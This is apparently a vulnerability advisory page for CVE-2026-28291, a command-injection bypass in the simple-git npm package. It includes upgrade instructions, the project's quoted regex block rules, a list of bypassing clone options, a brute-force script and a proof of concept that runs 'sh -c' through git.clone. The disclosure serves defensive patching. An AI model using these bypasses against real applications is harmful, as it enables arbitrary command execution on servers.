CVE-2026-28291: Simple git Simple-git Affected By Command Execution Vulnerability

HIGH
Advisory Identifier: GHSA-jcxm-m3jx-f287
CVSS 8.1
CWE-78
Published
Advisory Summary

CVE-2026-28291 is a HIGH (CVSS 8.1) simple-git affected by command execution vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Simple git libraries in the npm ecosystem. The issue involves simple-git affected by command execution via option-parsing bypass. Remediation is available by upgrading affected packages to version 3.32.0.

CVE-2026-28291 at a Glance

CVE Identifier CVE-2026-28291
GHSA Identifier GHSA-jcxm-m3jx-f287
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Simple git
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-28291

To remediate this vulnerability, upgrade all affected Simple git dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

simple-git fixed: 3.32.0
npm install simple-git@3.32.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls simple-git

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-28291, inspect your project dependencies using npm:

npm ls simple-git

Analyze the terminal output to locate any version of Simple git in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.32.0), your application is affected.

Note: The npm ls simple-git command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Simple git, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary simple-git enables running native Git commands from JavaScript. Some commands accept options that allow executing another command; because this is very dangerous, execution is denied unless the user explicitly allows it. This vulnerability allows a malicious actor who can control the options to execute other commands even in a “safe” state where the user has not explicitly allowed them. The vulnerability was introduced by an incorrect patch for CVE-2022-25860. It is *likely* to affect all versions prior to and including 3.28.0. ### Detail This vulnerability was introduced by an incorrect patch for CVE-2022-25860. It was reproduced in the following environment: ``` WSL Docker node: v22.19.0 git: git version 2.39.5 simple-git: 3.28.0 ```` The issue was not reproduced on Windows 11. The `-u` option, like `--upload-pack`, allows a command to be executed. Currently, the `-u` and `--upload-pack` options are blocked in the file `simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts`. ```ts function preventUploadPack(arg: string, method: string) { if (/^\s*--(upload|receive)-pack/.test(arg)) { throw new GitPluginError( undefined, 'unsafe', `Use of --upload-pack or --receive-pack is not permitted without enabling allowUnsafePack` ); } if (method === 'clone' && /^\s*-u\b/.test(arg)) { throw new GitPluginError( undefined, 'unsafe', `Use of clone with option -u is not permitted without enabling allowUnsafePack` ); } if (method === 'push' && /^\s*--exec\b/.test(arg)) { throw new GitPluginError( undefined, 'unsafe', `Use of push with option --exec is not permitted without enabling allowUnsafePack` ); } } ```` However, the problem is that command option parsing is quite flexible. By brute forcing, I found various options that bypass the `-u` check. ``` [ '--u', '--u', '-4u', '-6u', '-lu', '-nu', '-qu', '-su', '-vu' ] ``` All of the above are three-character options that allow command execution. They enable execution even when `allowUnsafePack` is explicitly set to false. The depressing fact is that the options I found are probably only a tiny fraction of all possible option formats that enable command execution. In addition to the `-u` option, there is also the `--upload-pack` option and others, and some of the options I found can probably be extended to arbitrary length. Considering this, the number of option variants that enable command execution is probably infinite. Therefore, I could not find an effective way to block all such cases. Personally, I think it is virtually impossible to block this vulnerability completely. To fully block it, one would have to faithfully emulate Git’s option parsing rules, and it’s doubtful whether that is feasible. Just in case, I’ll share the brute-force code I used to find options that enable command execution. ```js const fs = require('fs'); const simpleGit = require('simple-git'); const TMP_DIR = './pwned/'; const ITER = 256; function cleanTmpDir() { if (fs.existsSync(TMP_DIR)) { fs.rmSync(TMP_DIR, { recursive: true, force: true }); } fs.mkdirSync(TMP_DIR, { recursive: true }); } function getPwnedFiles() { const found = []; for (let i = 0; i < ITER; i++) { const fname1 = `${TMP_DIR}1_${i}`; const fname2 = `${TMP_DIR}2_${i}`; const fname3 = `${TMP_DIR}3_${i}`; if (fs.existsSync(fname1)) found.push(String.fromCharCode(i) + '-u'); if (fs.existsSync(fname2)) found.push('-' + String.fromCharCode(i) + 'u'); if (fs.existsSync(fname3)) found.push('-u' + String.fromCharCode(i)); } return found; } async function runTest(runIdx) { const git = simpleGit(); // 1. `${~}-u` Pattern for (let i = 0; i < ITER; i++) { try { await git.clone('./testrepo1', './testrepo2', [String.fromCharCode(i) + '-u', `sh -c \"touch ${TMP_DIR}1_${i}\"`]); } catch {} } // 2. `-${~}u` Pattern for (let i = 0; i < ITER; i++) { try { await git.clone('./testrepo1', './testrepo2', ['-' + String.fromCharCode(i) + 'u', `sh -c \"touch ${TMP_DIR}2_${i}\"`]); } catch {} } // 3. `-u${~}` Pattern for (let i = 0; i < ITER; i++) { try { await git.clone('./testrepo1', './testrepo2', ['-u' + String.fromCharCode(i), `sh -c \"touch ${TMP_DIR}3_${i}\"`]); } catch {} } } async function main() { cleanTmpDir(); await runTest(); const found = getPwnedFiles(); console.log(found); } main(); ``` ### PoC The environment in which I succeeded is as follows. As long as the OS remains Linux, I suspect it will succeed reliably despite considerable variation in other factors. ``` WSL Docker node: v22.19.0 git: git version 2.39.5 simple-git: 3.28.0 ``` 1. Create any git repository inside the `testrepo1` folder. A very simple repository with a single commit and a single file is fine. 2. Run the following: ```js const { simpleGit } = require('simple-git'); async function main() { const git = await simpleGit({ unsafe: { allowUnsafePack: false } }); await git.clone('./testrepo1', './testrepo2', [`-vu sh -c \"touch /tmp/pwned\"`]); } main(); ``` This PoC explicitly configures `allowUnsafePack` to `false`. Of course, the same vulnerability occurs even without this option. An error is the expected behavior. 3. Check `/tmp` to confirm that `pwned` has been created. If it failed, try replacing `-vu` with a different option from the list. ### Impact This vulnerability is *likely* to affect all versions prior to and including 3.28.0. This is because it appears to be a continuation of the series of four vulnerabilities previously found in simple-git (CVE-2022-24433, CVE-2022-24066, CVE-2022-25912, CVE-2022-25860).

CVE-2026-28291 Affected Simple git Versions

1 component(s)
Fixed Versions:
3.32.0
Product / Package Ecosystem Affected Versions Fixed Version
simple-git
npm
< 3.32.0
3.32.0

References

Frequently Asked Questions

What is CVE-2026-28291?
CVE-2026-28291 is a security vulnerability in Simple git involving simple-git Affected by Command Execution via Option-Parsing Bypass under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Simple git versions are affected?
Affected versions include releases prior to 3.32.0 across affected packages: simple-git.
What version fixes CVE-2026-28291?
Upgrading to 3.32.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is simple-git affected?
Yes, simple-git is affected in releases prior to 3.32.0. Upgrade your dependency to 3.32.0 or later.
What is the CVSS score of CVE-2026-28291?
CVE-2026-28291 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-28291?
CVE-2026-28291 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check npm dependencies for CVE-2026-28291?
Run the dependency tree command: 'npm ls simple-git'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jcxm-m3jx-f287",
  "modified" : "2026-04-14T16:30:46Z",
  "published" : "2026-04-13T16:35:37Z",
  "aliases" : [ "CVE-2026-28291" ],
  "summary" : "simple-git Affected by Command Execution via Option-Parsing Bypass",
  "details" : "### Summary\n\nsimple-git enables running native Git commands from JavaScript. Some commands accept options that allow executing another command; because this is very dangerous, execution is denied unless the user explicitly allows it. This vulnerability allows a malicious actor who can control the options to execute other commands even in a “safe” state where the user has not explicitly allowed them. The vulnerability was introduced by an incorrect patch for CVE-2022-25860. It is *likely* to affect all versions prior to and including 3.28.0.\n\n\n### Detail\n\nThis vulnerability was introduced by an incorrect patch for CVE-2022-25860.\n\nIt was reproduced in the following environment:\n\n```\n\nWSL Docker\nnode: v22.19.0\ngit: git version 2.39.5\nsimple-git: 3.28.0\n\n````\n\nThe issue was not reproduced on Windows 11.\n\nThe `-u` option, like `--upload-pack`, allows a command to be executed.\n\nCurrently, the `-u` and `--upload-pack` options are blocked in the file `simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts`.\n\n```ts\nfunction preventUploadPack(arg: string, method: string) {\n   if (/^\\s*--(upload|receive)-pack/.test(arg)) {\n      throw new GitPluginError(\n         undefined,\n         'unsafe',\n         `Use of --upload-pack or --receive-pack is not permitted without enabling allowUnsafePack`\n      );\n   }\n\n   if (method === 'clone' && /^\\s*-u\\b/.test(arg)) {\n      throw new GitPluginError(\n         undefined,\n         'unsafe',\n         `Use of clone with option -u is not permitted without enabling allowUnsafePack`\n      );\n   }\n\n   if (method === 'push' && /^\\s*--exec\\b/.test(arg)) {\n      throw new GitPluginError(\n         undefined,\n         'unsafe',\n         `Use of push with option --exec is not permitted without enabling allowUnsafePack`\n      );\n   }\n}\n````\n\nHowever, the problem is that command option parsing is quite flexible.\n\nBy brute forcing, I found various options that bypass the `-u` check.\n\n```\n[\n  '--u', '--u',\n  '-4u', '-6u',\n  '-lu', '-nu',\n  '-qu', '-su',\n  '-vu'\n]\n```\n\nAll of the above are three-character options that allow command execution. They enable execution even when `allowUnsafePack` is explicitly set to false.\n\nThe depressing fact is that the options I found are probably only a tiny fraction of all possible option formats that enable command execution. In addition to the `-u` option, there is also the `--upload-pack` option and others, and some of the options I found can probably be extended to arbitrary length. Considering this, the number of option variants that enable command execution is probably infinite.\n\nTherefore, I could not find an effective way to block all such cases. Personally, I think it is virtually impossible to block this vulnerability completely. To fully block it, one would have to faithfully emulate Git’s option parsing rules, and it’s doubtful whether that is feasible.\n\nJust in case, I’ll share the brute-force code I used to find options that enable command execution.\n\n```js\nconst fs = require('fs');\nconst simpleGit = require('simple-git');\n\nconst TMP_DIR = './pwned/';\nconst ITER = 256;\n\nfunction cleanTmpDir() {\n    if (fs.existsSync(TMP_DIR)) {\n        fs.rmSync(TMP_DIR, { recursive: true, force: true });\n    }\n    fs.mkdirSync(TMP_DIR, { recursive: true });\n}\n\nfunction getPwnedFiles() {\n    const found = [];\n    for (let i = 0; i < ITER; i++) {\n        const fname1 = `${TMP_DIR}1_${i}`;\n        const fname2 = `${TMP_DIR}2_${i}`;\n        const fname3 = `${TMP_DIR}3_${i}`;\n        if (fs.existsSync(fname1)) found.push(String.fromCharCode(i) + '-u');\n        if (fs.existsSync(fname2)) found.push('-' + String.fromCharCode(i) + 'u');\n        if (fs.existsSync(fname3)) found.push('-u' + String.fromCharCode(i));\n    }\n    return found;\n}\n\nasync function runTest(runIdx) {\n    const git = simpleGit();\n    // 1. `${~}-u` Pattern\n    for (let i = 0; i < ITER; i++) {\n        try {\n            await git.clone('./testrepo1', './testrepo2', [String.fromCharCode(i) + '-u', `sh -c \\\"touch ${TMP_DIR}1_${i}\\\"`]);\n        } catch {}\n    }\n    // 2. `-${~}u` Pattern\n    for (let i = 0; i < ITER; i++) {\n        try {\n            await git.clone('./testrepo1', './testrepo2', ['-' + String.fromCharCode(i) + 'u', `sh -c \\\"touch ${TMP_DIR}2_${i}\\\"`]);\n        } catch {}\n    }\n    // 3. `-u${~}` Pattern\n    for (let i = 0; i < ITER; i++) {\n        try {\n            await git.clone('./testrepo1', './testrepo2', ['-u' + String.fromCharCode(i), `sh -c \\\"touch ${TMP_DIR}3_${i}\\\"`]);\n        } catch {}\n    }\n}\n\nasync function main() {\n    cleanTmpDir();\n    await runTest();\n\n    const found = getPwnedFiles();\n    \n    console.log(found);\n}\n\nmain();\n```\n\n### PoC\n\nThe environment in which I succeeded is as follows. As long as the OS remains Linux, I suspect it will succeed reliably despite considerable variation in other factors.\n\n```\nWSL Docker\nnode: v22.19.0\ngit: git version 2.39.5\nsimple-git: 3.28.0\n```\n\n1.\n\nCreate any git repository inside the `testrepo1` folder. A very simple repository with a single commit and a single file is fine.\n\n2.\n\nRun the following:\n\n```js\nconst { simpleGit } = require('simple-git');\n\nasync function main() {\n    const git = await simpleGit({ unsafe: { allowUnsafePack: false } });\n    await git.clone('./testrepo1', './testrepo2', [`-vu sh -c \\\"touch /tmp/pwned\\\"`]);\n}\n\nmain();\n```\n\nThis PoC explicitly configures `allowUnsafePack` to `false`. Of course, the same vulnerability occurs even without this option. An error is the expected behavior.\n\n3.\n\nCheck `/tmp` to confirm that `pwned` has been created.\nIf it failed, try replacing `-vu` with a different option from the list.\n\n### Impact\n\nThis vulnerability is *likely* to affect all versions prior to and including 3.28.0. This is because it appears to be a continuation of the series of four vulnerabilities previously found in simple-git (CVE-2022-24433, CVE-2022-24066, CVE-2022-25912, CVE-2022-25860).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "simple-git"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.32.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/steveukx/git-js/security/advisories/GHSA-jcxm-m3jx-f287"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-28291"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/steveukx/git-js/commit/1effd8e5012a5da05a9776512fac3e39b11f2d2d"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/steveukx/git-js"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/steveukx/git-js/blob/789c13ebabcf18ebe0b3a0c88ebb4037dede42e3/simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts#L26"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/steveukx/git-js/releases/tag/simple-git%403.32.0"
  }, {
    "type" : "WEB",
    "url" : "https://www.cve.org/CVERecord?id=CVE-2022-25860"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-13T16:35:37Z",
    "nvd_published_at" : "2026-04-13T18:16:28Z"
  }
}